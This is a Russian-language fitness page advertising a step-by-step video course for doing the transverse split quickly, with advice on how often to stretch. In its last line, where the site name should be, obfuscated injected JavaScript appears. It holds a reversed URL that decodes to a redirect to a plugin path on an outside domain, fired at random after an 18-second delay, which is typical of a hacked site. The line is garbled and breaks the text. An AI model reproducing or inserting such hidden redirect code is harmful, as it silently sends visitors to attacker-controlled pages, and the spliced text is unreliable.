Перед вами подробнейшая инструкция как сесть на поперечный шпагат за короткое время. Пошаговый видео урок поможет подготовить мышцы и тело к растяжке на поперечный шпагат. Уделяйте упражнениям всего несколько минут в день в удобное для вас время и результат не заставит себя ждать – твое тело достигнет необходимой для шпагата гибкости. Не откладывай тренировку на завтра — начни уже сегодня!
Шпагат является одним из тех движений, которые легко достижимы для одних людей и почти недостижимы для других. Однако, даже если ваша гибкость оставляет желать лучшего, вы все равно способны достичь цели, если будете упорно трудиться над растяжкой. Выполняйте упражнения через день и уже через несколько недель Вы заметите результат!
Лучше всего выполнять эти упражнения в конце домашней кардио тренировки. Таким образом вы не только увеличите гибкость, но и избежите боль в мышцах после тренировки.
Подробное описание упражнений можно посмотреть в видео-тренировке от профессионального фитнес-тренера.
Будьте спортивными вместе с Zhirotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topka.com!
